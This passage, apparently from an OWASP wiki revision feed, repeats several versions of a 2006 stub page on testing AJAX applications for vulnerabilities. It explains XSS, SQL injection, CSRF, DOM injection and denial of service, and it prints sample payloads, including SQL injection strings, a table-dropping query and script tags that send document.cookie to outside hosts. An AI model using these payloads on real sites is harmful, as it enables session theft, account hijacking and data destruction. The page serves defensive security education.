'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11790</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11790"/>
				<updated>2006-11-05T21:30:41Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More about SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Yes, it is possible for a rogue or vulnerable application to force a user to launch multiple XMLHttpRequests to a target application, but this has been possible before AJAX. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using &amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt; nested within a JavaScript loop can do the trick more effectively. If anything, I predict poorly thought out infrastructure and application design is likely to cause AJAX applications to inadvertently DOS themselves due to too frequent XMLHttpRequests.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11789</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11789"/>
				<updated>2006-11-05T21:27:49Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
